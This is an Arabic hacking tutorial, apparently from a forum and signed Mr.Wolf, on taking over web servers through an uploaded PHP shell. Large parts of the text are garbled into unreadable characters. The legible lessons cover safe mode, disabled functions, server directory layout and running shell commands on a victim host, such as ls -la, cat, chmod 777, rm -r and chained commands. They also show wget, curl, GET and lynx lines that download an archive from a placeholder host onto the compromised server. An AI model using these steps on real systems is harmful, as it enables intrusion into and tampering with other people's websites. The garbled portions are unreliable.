أختراق السيرفرات والمواقع شروحات

http://www.t0010.com/books/index.
php ‫ ارق ا و‬
‫ن‬
‫ص‬
http://www.t0010.com/books/index.php ‫ ارق ا و‬
MR.WOLF ‫ اق ظ‬

‫ب‬+‫ق ا‬% ‫ت‬%&' ()
http://www.tryag.com/cc/
(‫&اد و=< ه>ا اب ا و‬:‫< إ‬
‫ــ ارق ا آو‬
## <C‫ز ا‬E‫ ا‬F': G% H‫ آ‬##
L ‫ ت ا وا‬M () ‫ ا وات ا&ة‬J &%K‫ ا‬H

(‫ ا‬QR‫ اا‬O: ‫ ا‬N O‫اذه إ‬
http://www.t0010.com/books/index.php
------------------------------------------------
(‫ ا&روس و=< اب ا و‬MR ‫م‬N
------------------------------------------------------------------------------
aLT3rEQ$Hacker
------------------------------------------------------------------------------
‫‪http://www.t0010.com/books/index.php‬‬ ‫ ارق ا و‬
‫‪ <CR‬ا‪ a‬ا`‪ J‬ا`<‬
‫اب ‪ (M‬واذا ر‪ () Lb‬ا ‪c‬دة ‪ J‬ا‪+‬ت‬

‫ادة ‪&R‬ا‪ d: Fe‬ا& ‪R‬ـ‪g‬ط ا( ‪:‬‬
‫ا‪ (e‬ا&يء ‪ HN‬ا&ا‪ +R () %‬ا&روس‬

‫‪N d:‬اءة ه>‪ k‬ا‪+‬رة او ً‬
‫)) اــ اــ أن أ‬

‫ا"!ر '&‪%‬ا‪ #$‬ا(*() (‬
‫أ‪ )3 ,(*+‬ه‪ 01‬ا‪/‬روس ((‬
‫وا‪R <:‬رك ا‪ d) a‬ان ا‪ Fc" a‬و‪"O+‬‬
‫‪%‬ا‪ dN‬و‪ O: cc‬آ‪op H‬ة وآة ‪..‬‬
‫)>ر ا>ر ‪% J‬م ‪ F) g‬ا&ان ‪..‬‬
‫_ ‪_ 63/73‬‬
‫ا‪qC‬م ‪ <:‬ور` ا‪ a‬و‪R‬آ‪F‬‬
‫اه‪ <R ًq‬إ‪e‬ا( ا(*() )( آ‪ H‬ن ‪&'c ..‬م < )( ه>ا اب ‪ J :M‬ا&روس‬
‫ا‪ () Jr&R ps‬ا‪e‬اق اا‪ N‬وا‪)C‬ات ‪ G` ..‬أن ه>‪ k‬ا&روس ي ‪ O:‬ا‪J t‬‬
‫ا‪+‬ت ا( ‪ J d'c‬ا ‪e‬اق وا‪+‬ف ‪v O:‬ق وأ‪ c‬ا‪E‬ز )( ا‪e‬اق اا‪N‬‬
‫وا‪)C‬ات و‪c‬ن ‪ H= O` HCCR‬إ‪ O‬ا‪C‬ى ا‪ J‬ا>ي ‪ J d'%‬ا ‪e‬اق ‪xR‬ذن‬
‫ا‪. O+ a‬‬
‫و‪ HN‬أن &أ ‪ J: <'c‬ا‪e‬اق اا‪ N‬وا‪)C‬ات ‪ { O:‬ا‪G` CR & () Lz‬‬
‫أن ‪ |C‬ا‪e‬اق اا‪ N‬ا‪ J Lp‬اا~ ا} ‪ J t‬ا'س و‪ pe‬ا‪g‬ب `‪s% G‬‬
‫آ‪ J t‬ا‪g‬ب ‪ +R‬و ‪ <E‬ا' ‪ez‬اق اا‪ N‬وو ا‪ F%R G+‬أو ‪ C‬‬
‫ت ا‪ N‬وو~ ‪ p‬ا ‪e‬اق ‪..‬‬
‫‪ J%‬ا‪ t‬أن ‪ p o‬ا &آ ي ‪ N‬ه ا `اف ‪ F'+R‬و‪ J%‬ا>‪N J%‬ا ‪&scxR‬ام ‪o‬ات‬
‫ا‪ N‬ا‪C‬و( ا‪M‬ه‪K‬ة و‪ () ERM‬أذ‪ %‬ا'س أ‪oR <E‬ا ‪ N‬ا `اف وأ‪p‬ا ‪ J‬ا‪E‬ز‬
‫ا‪ J:‬و‪ J‬ا ه( أن ‪ d‬ا‪:‬ل ا( ‪N‬ا ‪E Ht ER‬م ا‪E‬ز اف ‪ ،‬ا‪E‬م‬
‫ا( ‪E‬ز ه ‪ )+‬أ‪c‬ار < ا‪ Hog‬وو ا‪e‬ا‪ EN‬وذ‪ %v J: d‬ار او ت ‪&+R‬ة‬
‫أ‪o c‬ض أآ‪g‬ف ا‪ot‬ات ا' ‪ ..ER‬ا‪E‬ز ا( ‪ ('+%‬ا‪z‬م ‪cc|R‬ت ا‪ M‬و‪)+‬‬
‫ط اة وا}‪. ER +‬‬
‫ا‪E‬ز ا( ‪ ('+%‬إدة )‪ H: +v <E‬ا‪g‬ت و‪ )+‬أاع ا‪g‬ت ا)ة وا‪..+‬‬
‫وا‪qRz‬غ ‪ J:‬أي ‪o‬ة أ' )( أي ‪&ER (R: N‬ف ا‪&:C‬ة )( د) ‪ % M:‬اا‪ N‬ا‪R+‬‬
‫و‪ () +' ً=` E+‬و‪ F‬ا‪E‬ز ا و ر) ‪C‬ى ا‪ () M‬ا‪ () HC‬ا‪<+‬‬
‫ا ‪ (qc‬وا‪. (R+‬‬
‫ان و‪ &+R‬ه>‪ k‬ات ا‪K‬ة ‪ &%% J‬أن ‪ =%‬هز `( أو ‪+R‬رة أ‪e‬ى آ = هز ف‬
‫‪ = ( ..‬هز ف ‪ <= >*? @AB‬ا;‪:‬ء ا‪: 68‬‬
‫= أن ااءة أ‪ &=N‬ااءة ‪&gR‬ة و‪'MR‬ن ن ‪ d+v‬آ‪s‬ق أو آ&ئ )( ‪ <:‬ا ‪e‬اق‬
‫< ‪ d:‬ااءة آ‪t‬اً ‪ d: M% <+‬أن أ و‪g‬ي ا ا( ‪&:C‬ك ‪ <E) O:‬م ‪FR‬‬
‫آ>‪N d‬اءة أي أو ‪ <+R +% e‬ا‪ &%&M‬ا>ي ‪c‬ف &‪ He‬إ‪ d: M% F‬أن أ ‪< J:‬‬
‫ا‪ Hog‬و‪ J:‬ا‪g‬ت و‪ J:‬ا‪KE‬ة ا)ة و‪ J:‬ا‪ M‬و‪b J:‬ه ا‪% O` t‬ن )( ‪d:‬‬
‫=ر وا‪+c‬ب ‪ k>E‬ار ‪. E+‬‬
‫= ‪ <+ d: M%‬ا‪&+R M‬ة ‪o‬ت ‪ (c o Ht‬و ال وا( ا ‪ (R‬و‪b‬ه ‪.‬‬
‫= و ا‪+‬ف ‪ < O:‬ا‪ Hog‬ا( ‪ &%‬ا‪e‬ا‪N J: EN‬ب وذ‪E O: E%K' %v J: d‬زك‬
‫وا‪ E: H+‬ة `‪ )+ J J O‬ط اة وا}‪. +‬‬
‫= ا‪+‬ف ‪&:C% s{ O:‬ك ‪%‬ن أآ‪e d' t‬ة و‪ RM‬واذا `‪& L‬أ ‪c‬ف ى أن أ)}‪H‬‬
‫ا‪E‬ز {‪E‬ة ه< ‪:‬رة ‪ J:‬أ‪}:‬ء )( ‪:M‬ت ‪ pe‬ن ‪&: J‬ة أ{‪s‬ص ‪<+ <E` <E+‬‬
‫ا‪E‬ز ا ‪.‬‬
‫= ‪M () CDE+‬ل ‪ J+‬و |س و ‪ O+ aR‬وأ‪:‬ف أ‪ F‬ار‪ c‬واو ‪ H=c‬إ‪O‬‬
‫ ‪xR &%‬ذن ا‪ .. a‬وان ه إ‪ O‬أو‪e O‬ا‪ <: () d‬ا‪E‬ز ‪..‬‬
‫آ‪ @8‬ا(‪aLT3rEQ$Hacker : ,3/7‬‬

‫‪ #‬ا&رس اول ‪#‬‬

‫‪ ::‬ه< ا‪e‬اق اا‪ N‬و‪ +R‬ا‪+‬ت ‪ J:‬ا‪:: Hg‬‬
‫‪ J‬ا‪+‬وف ‪e‬اق اي {(ء ا‪ J &R &R F‬ود ‪o‬ـة '‪ J d‬أ‪e‬ا‪FN‬‬
‫‪ O'+R‬ان اه< {( ‪ HN‬ا‪e‬اق ه ود ‪o‬ة ‪..‬‬
‫و=& ‪otR‬ة اي ا‪ot‬ات ا‪ ks‬ا( '‪ J d‬ر) {‪ O: H‬ا‪N‬‬
‫ا‪e‬اق اا‪& QCR N‬اً ‪:J{ d' % F‬‬
‫‪ -1‬ان ‪%‬ن &‪&sc|R )+ d%‬ام ا‪.Hg‬‬

‫‪ -2‬ان ن < ‪&sc|R‬ام اوا ‪c‬اء آ‪ L‬اوا ا&وس او اوا ا' وه>ا اه<‪.‬‬
‫ا‪NB OP‬ل ?) ا‪ <L‬و‪ ,J? K(B‬آ‪ !I‬و ‪ ,=!B‬؟‬
‫ا‪=e|R Hg‬ر ه ‪R C CM LRc‬ا‪ >' Fc‬أوا ‪ M‬أآ ‪&N‬ر ‪J‬‬
‫ا‪+‬ت '‪ J d‬أ‪e‬اق ا‪ ً+v .. N‬ا‪ Hg‬ااع آ‪t‬ة ‪ ً:‬وا`& آ‪E+ J‬‬
‫ا‪&E‬ف '‪ >' E‬اوا ‪ ..‬اي ‪ E‬ا‪ H{ d: e‬ا‪ .. Hg‬أ‪:‬ف ان ا‪&E‬ف وا`& وه‬
‫'> اوا ‪.‬‬
‫‪ @Q‬ا‪NB OP‬ل ‪3‬ه‪ #‬أوا‪ !3‬ا‪/‬وس ؟‬
‫ا&وس ه اوا )( }م ا&وز ا( ‪R‬ا‪ H+) C Fc‬آ‪({ H‬ء )‪ Q‬اب‬
‫‪ )+‬اوا ا‪ FR ps‬وآ ‪&sC‬م و اوا ا&وس ‪ 'E‬آ‪t‬اً و ‪E)+ d' %‬‬
‫"ان" ‪ J‬آ‪&r E‬ة )‪. Q‬‬
‫‪ 'E%‬ه )) اوا ا' (( ود‪ L‬هوي ا‪e‬اق اا‪ &R N‬ان ‪+‬ف ‪ O:‬ه>‪ k‬اوا‬
‫وان {ء ا‪ =sc a‬درس =‪.. E': H‬‬
‫ذآ ا‪ )+ J &R F‬اوا ا' ا‪|C% +‬ل ‪ ..‬ه ا'؟‬
‫ه م ‪ Ht Hog‬ا&وز ا>ي ‪ F&sC‬و‪ )+ 'E%‬اوا‪&': E&sC ( k‬‬
‫‪ J J‬ر) {‪ O: H‬ا`& اا‪ .. N‬ز' >آ ا‪ O` Hg‬ه' و< ( ‪%+R‬‬
‫ا‪s J .. RC‬ج ‪ J‬ه>ا ا&رس ا و‪ F: L)+ &N‬ان {ء ا‪a‬‬
‫‪&%‬ور ‪R‬أ‪c (c‬ال وه ذا ذآ ا ه' ان ا&رس ‪e‬اق اا‪ N‬و ‪e‬اق‬
‫ا&وز او ا' ؟‬
‫ن ‪ J‬ا‪+‬وف ان اا‪ N‬ن ‪ )c O:‬وه>ا ا‪ H+% )C‬ا‪'R O‬م ‪ Hog‬اي ان‬
‫ا‪ () )C‬ا‪E Hp‬ز ‪&R J‬رات أ‪N‬ى &اً ‪ J‬ا‪EM‬ز ا( ا>ي ‪ F&sC‬ان ‪..‬‬
‫و‪ &':‬ر) ا‪ Hg‬ا‪ O‬ا`& اا‪ O: N‬ه>ا ا‪ F d|) )C‬اوا ‪|R )C‬ن ‪.... H+%‬‬
‫‪ O:‬ا‪ N‬اـ ‪ ً+v ....‬ن & ‪gR‬وط و‪`qp‬ت و‪ >'% J‬اي ا ‪ F‬ا‪& d F‬‬
‫‪|R‬وا ‪ C '+‬ان ‪s‬ج ‪ E':‬و‪+% J‬ف ‪b O:‬ه ‪.‬‬
‫}ب ‪t‬ل ‪ :‬اردت ان | ا‪e‬ك ا=‪ o‬ول ‪ J =: ( F‬ا‪ qt‬وه ‪+%‬ف‬
‫‪c‬ا ا‪ o‬ا‪ R+‬ه‪ F LN <Ec H‬ه>ا ا ‪ oR‬ا‪ .. %KM‬اآ& ‪ ..‬وان ‪F LN‬‬
‫‪ oR‬ا‪ R+‬راح ‪ <E%‬و‪ '%‬ا‪ O‬ا‪ qt‬ان و& ا‪ =+‬ا‪ FR O‬وان < ‪F%&% d R k&M%‬‬
‫)~‬
‫اذاً '> اوا ‪tR F{ HgR‬ل ا‪ RC‬و'ض ان ا‪ )C‬ه ا‪e‬ك ا=‪ .. o‬وا‪=+‬‬
‫ه ‪ ..‬وا‪ qt‬ه( ا‪ N‬ا>ي ‪ .. k&%‬وا‪ F L‬اوا ؟؟‬
‫‪>ER‬ي ا ‪%‬ن ا ‪ J v :‬ا‪}`|R )C‬ر "‪N‬اءة" ا اد )( ا‪ N‬ااد‪.‬‬
‫إن و& ا ‪ d F~:‬وأن < ‪ k&M%‬راح ‪+%‬ض ‪ً+v ({ d‬‬
‫ا‪t‬ل ا‪ QC kq:‬وإ‪=%‬ل ا‪! Q) +‬‬
‫‪ <78J$‬ا‪R‬ن ا‪ S‬ا‪!8J <L‬ف ?*‪ <UL ,‬أو‪KT‬‬
‫‪:‬ه‪%X /‬رة *‪ .. <L‬وا‪ T‬ه‪1‬ا ا‪ <L‬ه‪r57 %‬‬

‫!ب‬3 ,JU ‫< ا‬L‫]\ ا‬$ ‫ا‬1‫وه‬
‫ء ا‬: ‫< ان‬D]8 <L‫ا ا‬1‫ ه‬#= "6(b(‫ء ا‬:;‫!ح "ا‬L ‫م‬%7$ ‫ف‬%T
‫ول ا;ول‬/A‫ا‬
!]X;‫ن ا‬%* cd%(‫ون ا‬/‫ه‬L+ (‫آ‬
ON ‫ أو‬OFF 3‫ ا‬b33‫ن أ‬%UT‫( و‬6B(‫) )ا‬3;‫ ا‬Kd%‫ ا‬6j : safe mode
O ‫ث‬/8= ON‫ اـ‬6j #= 3‫ت ا‬%3 ‫ون‬/ K‫ا‬%(‫ ا‬#= U8‫ ا‬Ko8+ OFF‫ اـ‬6j #=
‫ء‬: ‫! ان‬I‫ أآ‬cd%8* >‫ا‬1 ‫ درس‬CDE+ 8T‫ء و‬:;‫ ا‬OP /73 ‫ن‬%U8T‫< و‬L‫ ا‬#= ‫!ات‬r8‫ا‬
. S+ ‫ا‬
63‫د‬7‫روس ا‬/‫ ا‬#= !I‫ أآ‬b*? ‫!ف‬8JT‫ ا!=! و‬#= 6*o(‫وال ا‬/‫ ا‬J‫ ه‬: Disable functions
#$I‫ول ا‬/A‫ا‬
!=!‫ان ا‬%J? %‫]! ه‬X;‫ن ا‬%* cd%(‫ ا‬-1
Linux %‫"م ا!=! وه‬$ ‫ع‬%$ -2
<D]3 ‫ درس‬b CDEB ‫ف‬%T .. !=!‫ ا‬S*? >+jX -3
‫ اي ان ا;ن‬6*&‫ا‬/ )$ ‫ي‬1‫ ا‬K%(‫زر ا‬%B %‫]! ه‬X;‫ن ا‬%* cd%(‫ ا!=! وا‬S*? ‫ك‬/‫ا‬%+ ‫ن‬U3 -4
63/E8+ ‫ي‬1‫زر ا‬%‫ ا‬,]$ %‫زر ه‬%‫ا ا‬1‫ وه‬K%(‫زر ا‬%B 6=!3 #‫ وه‬6B!T 63%*3 >B/ cPX‫ا‬
#= ,*? ‫ل‬%D‫ ا‬6]‫ آ‬cd%$ ‫ف‬%T‫ و‬K%(‫رد ا‬%T >D7JB )U K%(‫ ا‬S‫ل ا‬%&/* FTP‫ اـ‬#=
.. 63‫د‬7‫روس ا‬/‫ا‬
:,8(‫ ;ه‬4 ! <D]3 cd%+

/ public_html /‫؟؟؟؟‬/ home /
‫ ;ن‬,*&‫ا‬/3 ‫!اض‬8T‫ ا‬Ko8+ ‫" و‬K‫ا‬%(‫زرات "ا‬%‫ ا‬6*&‫ا‬/ ‫ن‬%UB #‫ ا‬/*A(‫ ا‬%‫ = ه‬/ home /
>‫ ذا‬KJ(B cB!D+ ,*?
‫زر‬%‫ن ا‬%UB )U(3 K%(‫ان ا‬%J? \]$ %‫زر ه‬%‫ن ا‬%UB ‫!ط ان‬8LB ‫ و‬K%(‫@ ا‬jX ‫زر‬%B = /‫؟؟؟؟‬
@r‫ ا‬#=‫ان و‬%J 6? ‫ اي‬,3 #JB /http://www.tryag.com K%(‫ان ا‬%J? ‫ن‬%UB‫ و‬wolf
, 6L3 ‫ او‬K%(‫ان ا‬%J? \]$ ‫ن‬%UB
#: ‫ أن أي‬SJ( .. K%(‫ات ا‬/*A3‫*]ت و‬3 Kd%+ J‫ وه‬K%(* #!‫ ا‬/*A(‫ = ا‬/ public_html
‫!ة‬:P3 K%(‫ان ا‬%J? / ,(T‫ن ا‬%UB cB‫ را‬#!‫ا ا(* ا‬1‫ ه‬#= Kd%B
:‫ل‬I3 ‫"!ب‬$
/http://www.tryag.com K%(‫ ا‬T‫ا ا‬1‫ ان ه‬%

wolf.jpg TN ‫ر‬%‫آ‬1(‫ ا‬K%(‫ ا‬#= / public_html / /*A3 <&‫ا‬/ ‫رة‬%X /%B‫و‬
<UL‫ا ا‬1b ‫ان‬%J‫ن ا‬%UB c]D8(‫ ا‬#= 0‫ر‬%D‫ ا‬01‫!ض ه‬8J
www.tryag.com/wolf.jpg
/*A(‫ا ا‬1‫ ه‬#*B #: ‫ ودا(ً اي‬K%(‫ان ا‬%J? %‫ ه‬/ public_html / ‫! ان‬P8?‫< ا‬b8*
. 0!:P3 K%(‫ان ا‬%J? / ‫ن‬%UT
--------------------------------------------
‫ ا!ض‬6jT
!3‫ ا;وا‬6A8$ ‫ن‬%UT J‫ه‬

!3‫ ا;وا‬6%3
. 01]J+ /B!+ ‫ي‬1‫! ا‬3;‫@ ا‬8U+ J‫ ه‬: Run command
:$‫ر‬3 ‫رة‬%D‫ ا‬#= cd%(‫< ا‬I3‫ك و‬/‫ا‬%+ ‫ر‬3 J‫ ه‬: Work directory
home / sixfinge / public_html / thecoolbeenz / TikiWiki /new /
new /*A3 #= b7PoB ‫ف‬%T (.... *3 ‫ف‬1j - *3 ‫ء‬L$‫ )ا‬6*&‫! دا‬3‫ اي أوا‬Po+ /J? ‫اي‬
TikiWiki /*A3 #= a.php TN *3 ‫ف‬1j $‫ أرد‬% @Q
*(‫ف ا‬1j !3‫ ا]!اغ ا;ول أ‬#= @8U$
:‫ن‬%UT‫ و‬6*&‫ا‬/ !3;‫ ا‬1]J+ ‫ب‬%*o(‫ ا‬/*A(‫ر ا‬3 K"$ #$I‫ ا]!اغ ا‬#=‫و‬
/ home / sixfinge / public_html / thecoolbeenz / TikiWiki /
... ‫ا‬1U‫رد وه‬%PU‫) ا‬3 Enter ‫ زر‬S*? r" ‫< او‬L‫ ا‬#= Execute ‫ زر‬S*? r" ‫م‬%7+
---------------------------------------
‫!ر ا(*]ت‬3
b*? <B/8 J ‫!ح‬D3 ,$N ‫!ف‬$‫(( و‬7=)) b*? <B/8 > ‫!ح‬D3 #‫! ا(*]ت ا‬B!8 ‫م‬%7B
‫روس‬/‫ ا‬#= <D]8 >‫ ذا‬cd%JT‫( و‬rwxrwxrwx-) cB!D8‫ا ا‬1‫ ه‬3‫ ور‬777 bB!D+ ‫ن‬%UB
.. ‫ء ا‬: ‫ ان‬63‫د‬7‫ا‬
-------------------------------------------------------------
‫رس ا;ول‬/‫ ا‬Sb8$‫ ا‬J‫ ه‬S‫ا‬

‫ة‬/](‫ت ا‬3%*(‫ ا‬O U <X‫ ان او‬o8T‫ ا‬#$‫ ا‬SJ(+‫وا‬
‫ة‬/j‫ وا‬6(*‫]ر ?) آ‬8T‫ آن ا‬% ‫!ح‬oB ‫رس‬/‫ى ا‬%83 )? ‫]ر‬8T‫واي ا‬
http://www.tryag.com/cc/showthread.php?t=9915
(( ‫ـــ‬U‫ د?ـــــــ‬c‫ـــــــــ‬X )‫ــ‬3 $%J‫ــــ‬+ ))

6%]3 ‫ق‬%7‫ ا‬K(
‫ ص‬02:036?‫ ا‬1427 - ‫ال‬%: - 23 ‫رس‬/‫¡ ا‬B‫ر‬+
Mr.wolF
‫‪ #‬ا&رس ا‪# (t‬‬

‫|| اوا‪ !3‬ا‪|| \UJ‬‬
‫و‪ #= d‬ا‪/‬رس ا ?) ‪$‬م ا‪ \UJ‬و* ا‪"$ ,$‬م ‪ <rL+‬و‪ ,‬أوا‪ !3‬و ا‪!o+‬ق او اآ‪@8‬‬
‫أي أ‪ !3‬و‪!+‬آ ‪1b‬ي ا;وا‪ !3‬درس &ص ‪ <D8 b‬ا(*‪3%‬ت ‪%X N‬رة ‪.. 6JU(3‬‬
‫ا‪/‬أ ‪ O‬ا;‪ 6*¦T‬ا(‪/b(+ 6(b‬اً *‪/‬رس‬
‫‪/= 3‬ة اوا‪ !3‬ا‪\UJ‬؟‬
‫=‪D8&N b+/‬ر ‪ Ko8+‬ا;&‪!8‬اق أو ا‪/ U8‬و‪.. b$‬‬

‫(‪ SJ‬ان ‪A3‬ل ا&‪!8‬اق ا(‪%‬ا‪ S*? /(8B K‬ه‪1‬ي ا;وا‪ #= !3‬آ< ‪!rX‬ة وآ‪!P‬ة‬
‫‪ 6=!3 /‬ا;وا‪ !3‬ا‪ @8U+ )B‬و‪ )3‬ا&‪ 01b @Q‬ا;وا‪!3‬؟‬

‫‪ @8U+‬ا;وا‪ #= !3‬ا‪ / <L‬زر?‪ ,‬او ر=‪ #= ,‬ا(‪ K%‬ا(‪/b8‬ف‬
‫و‪ 01b @QE+‬ا;وا‪ !3‬ا!=! ا‪1‬ي ?*‪ ,‬ه‪1‬ا ا(‪ K%‬و‪/j" #= /B!+3 <= ,J3 @*o+‬ود ‪"6J3‬‬
‫‪%7JT‬م ا;ن ‪!8‬ف ?*‪ O S‬اوا‪ !3‬ا‪ \UJ‬ا‪ #‬راح ‪ #= $/]+‬ا;&‪!8‬اق ان ‪:‬ء ا‬
‫ا;‪id :!3‬‬
‫و]‪!? :,8‬ض ‪ S*? >+jX‬ا!=!‬
‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬
‫ا;‪pwd :!3‬‬
‫و]‪ :,8‬ا‪b‬ر ‪ S*? >$U3‬ا!=! )ا(ر ا‪ #‬ا‪(,*? $‬‬
‫‪I3‬ل‪ :‬إذا آ‪ J‬دا&< ?*‪%B S‬زر ‪ /*A3 #= wolf TN‬ا(‪/8J‬ى ‪!8]J‬ض ا‪vb TN ,$‬‬
‫‪ Po+ /‬ا‪ pwd !3‬راح ‪!B‬ض ‪ J‬ه‪1‬ا ا(ر‬
‫‪home / wolf / public_html / vb /‬‬
‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬
‫ا;‪ls -la :!3‬‬

‫و]‪!? :,8‬ض (‪ K‬ا(*]ت وا(‪/*A‬ات ‪D+ K3‬ر‪bB‬‬
‫‪!B ًPQ‬ض > ?*‪ @j S‬ا(‪ /*A‬ا‪1‬ي ا‪/ $‬ا&*‪ 1]J+ /J? ,‬ه‪1‬ا ا;‪!3‬‬
‫‪ <U:‬ا;‪ 6jT #= !3‬ا!ض‬

cat :!3;‫ا‬
‫ !اءة ا(*]ت‬:,8]‫و‬
cat alkaser.php <UL‫ا ا‬1b !3;‫ن ا‬%UB alkaser.php TN *3 ‫د‬%‫ إذا أردت !اءة آ‬:‫ل‬I3
mkdir :!3;‫ا‬
/B/ /*A3 ‫ء‬L$‫ إ‬:,8]‫و‬
mkdir tryag <UL‫ا ا‬1b !3;‫ن ا‬%UB tryag TN /*A3 ‫ء‬L$‫ إذا أردت إ‬:‫ل‬I3
chmod xxx :!3;‫ا‬

*3 ‫ او‬/*A3 cB!D+ !r+ :,8]‫و‬
xxx !r+ K3 chmod xxx net <UL‫ا ا‬1b !3;‫ن ا‬%UB net TN /*A3 cB!D+ !r+ ‫ إذا اردت‬:‫ل‬I3
. ‫ب‬%*o(‫ ا‬cB!D8‫ ر ا‬S‫ا‬
touch :!3;‫ا‬
*3 ‫ء‬L$‫ إ‬:,8]‫و‬
*(‫ً ا‬PQ .. touch wolf.php <UL‫ا ا‬1b !3;‫ن ا‬%UB wolf.php TN *3 ‫ء‬L$‫ إذا أردت إ‬:‫ل‬I3
<L‫ ا‬#= "‫! ا(*]ت‬B!+" B!Q )? #: ,= @8U+ $‫) ا‬U(3 ‫اد‬%‫) ا;آ‬3 #&‫ن =رغ و‬%UB ‫راح‬
mv :!3;‫ا‬
b8(+ !r+ ‫< ا(*]ت أو‬7$ :,8]‫و‬
<UL‫ا ا‬1b !3;‫ن ا‬%UB !&‫ن أ‬U3 S‫ ا‬alkaser.php TN *3 <7$ ‫ إذا أردت‬:‫ل‬I3
mv alkaser.php / home / ??? / public_html / wolf
,‫< ا(* ا‬7J8 #‫ ا‬/*A(‫ر ا‬3 S‫ ا‬home / ??? / public_html / wolf / ‫ل‬/P8+‫و‬
(drwxrwxrwx) 777 cB!D+ <(B /*A(‫ا ا‬1‫ن ه‬%UB ‫!ط ان‬8LB‫و‬
b.php S‫ ا‬a.php TN *3 6(+ !r+ ‫ إذا أردت‬:*(‫ ا‬6(+ !r8 ‫ل‬I3
mv a.php b.php <UL‫ا ا‬1b !3;‫ن ا‬%UB
cp :!3;‫ا‬
‫¡ ا(*]ت‬$ :,8]‫و‬
<UL‫ا ا‬1b !3;‫ن ا‬%UB !&‫ن أ‬U3 S‫ ا‬tryag.php TN *3 ¡$ ‫ إذا أردت‬:‫ل‬I3
cp tryag.php / home / ??? / public_html / up
,‫¡ ا(* ا‬J8 #‫ ا‬/*A(‫ر ا‬3 S‫ ا‬home / ??? / public_html / up / ‫ل‬/P8+‫و‬
(drwxrwxrwx) 777 cB!D+ <(B /*A(‫ا ا‬1‫ن ه‬%UB ‫!ط ان‬8LB‫و‬
rm :!3;‫ا‬
*3 ‫ف‬1j :,8]‫و‬
rm aaa.php <UL‫ا ا‬1b !3;‫ن ا‬%UB aaa.php TN *3 ‫ف‬1j ‫ إذا أردت‬:‫ل‬I3
rm -r :!3;‫ا‬
/*A3 ‫ف‬1j :,8]‫و‬
rm -r aaa <UL‫ا ا‬1b !3;‫ن ا‬%UB aaa TN /*A3 ‫ف‬1j ‫ إذا أردت‬:‫ل‬I3
* :!3;‫ا‬
"<U‫ "ا‬S‫ ا‬3!+ #‫ً وه‬7T ‫رة‬%‫آ‬1(‫! ا‬3‫ ا;وا‬S‫"ف ا‬B :,8]‫و‬
‫ ا(*]ت‬01‫ ه‬K( ‫ت‬jX !r+ /B!+ $‫!ة وا‬I‫*]ت آ‬3 S*? ‫ي‬%8B /*A3 <&‫ا‬/ J‫ إذا آ‬:‫ل‬I3
6N(‫! ا‬D8EB !3;‫ا ا‬1b= .. *3 *3 ‫!ه‬r8 ‫م‬%7+ ‫@ أن‬8(‫) ا‬3 )3 cB!D+ S‫إ‬
/*A(‫ت ا‬B%83 K( ‫« ان‬j8 6‫ي ا‬1‫ ه‬#= * chmod 777 !3;‫ا ا‬1‫ ه‬Po8 ًI3 ‫م‬%7+ ª
‫ب‬%*o(‫ ا‬cB!D8‫ ا‬S‫ ا‬bB‫ر‬D+ ‫ت‬/j‫و‬
find :!3;‫ا‬
0/B!+3 )? ªP‫ ا‬:,8]‫و‬
find a.php <UL‫ا ا‬1b !3;‫ن ا‬%UT a.php TN *3 )? ªP+ ‫ إذا أردت أن‬:‫ل‬I3
‫ ا!ض‬6jT #= !3;‫< ا‬U:
find *.php <UL‫ا ا‬1b !3;‫ن ا‬%UB php. <I3 )3 ‫اد‬/83‫ ?) أ‬ªP+ ‫ إذا أردت أن‬:!&‫ل أ‬I3
‫ ا!ض‬6jT #= !3;‫< ا‬U:
‫ا‬1b !3;‫ن ا‬%UB /*A3 ‫* او‬3 6?%$ ‫اء آن‬%T b <I3 )3 T‫ ?) أ‬ªP+ ‫ إذا أردت أن‬:!&‫ل أ‬I3
*find b <UL‫ا‬
‫ ا!ض‬6jT #= !3;‫< ا‬U:
; :!3;‫ا‬
/j‫ و وا‬#= b( ‫ه‬1]J+‫! و‬3‫ ا! ) ا;وا‬:,8]‫و‬
‫ا‬1b !3;‫ن ا‬%UB *(‫ء ا‬L$N ‫ م‬,$N /‫آ‬N8* /*A(‫ت ا‬B%83 ‫* ?!ض‬3 ‫ء‬L$‫ اردت ا‬% :‫ل‬I3
ًPQ ls -la ‫ و‬touch (‫) ه‬B!3‫) ا‬3 ‫ن‬%U8B !3;‫< ا‬X;‫ ا‬#= /‫ه‬L+ (‫ آ‬touch file.php;ls -la <UL‫ا‬
!I‫ك آ‬/? ,$; ,3‫ا‬/E8T‫) أ‬3 ‫ر‬I‫ ;آ‬cD$‫) وا‬B!3‫) ا‬3 !I‫! اآ‬+ ‫ر‬/7+
‫ ا!ض‬6jT #= !3;‫< ا‬U:
id ‫ و‬ls -la #‫رة ه‬%D‫ ا‬#= 67Po(‫) ا‬B!3;‫ا‬

‫ ا(*]ت‬K=‫! ر‬3‫أوا‬
/%B‫زك و‬b )3 \‫ را و‬S*? *(‫ن ا‬%UB ًPQ .. ‫ط‬%r"3 ‫ن‬%UB ‫]"< ان‬B‫ و‬/B!+ *3 ‫ اي‬K=!
‫ل‬j ‫ أي‬#= *3 K=‫@ ?*> ر‬DB #U !3‫) أ‬3 !I‫!ح أآ‬Q‫ ا(*]ت وراح ا‬K=! !3‫) ا‬3 !I‫أآ‬
‫ ا!=!ات‬O S*? @A8+ K=!‫! ا‬3‫ أوا‬O ‫;ن‬
‫! او‬3;‫ا ا‬1‫ ه‬6oT‫ا‬% *3 K=‫> ر‬JU(B <‫" ه‬/‫آ‬N8‫! ا‬3‫ "أ‬Po8 ‫م‬%7+ K=!‫! ا‬3‫ أ‬1]J+3 <P
wget :K=!‫! ا‬3‫أ‬

wget http://www./???.com/tryag.zip :!3;‫ ?(< ا‬67B!Q
curl :K=!‫! ا‬3‫أ‬

curl -o tryag.zip http://www./???.com/tryag.zip :!3;‫ ?(< ا‬67B!Q
GET :K=!‫! ا‬3‫أ‬

GET http://www./???.com/tryag.zip > tryag.zip :!3;‫ ?(< ا‬67B!Q
lynx :K=!‫! ا‬3‫أ‬

lynx -source http://www./???.com/tryag.zip > tryag.zip :!3;‫ ?(< ا‬67B!Q
K=!‫! ا‬3N xxxx ‫ل‬/P+‫ وا‬which xxxx :K=!‫! ا‬3‫) ?(< اوا‬3 /‫آ‬N8‫! ا‬3‫أ‬
K=!‫ ا‬#= !3;‫ا ا‬1‫ام ه‬/E8T‫> أ‬JU(B 6+J3 usr / bin /xxxx / <UL‫ا ا‬1b ¯+J‫اذا آن ا‬
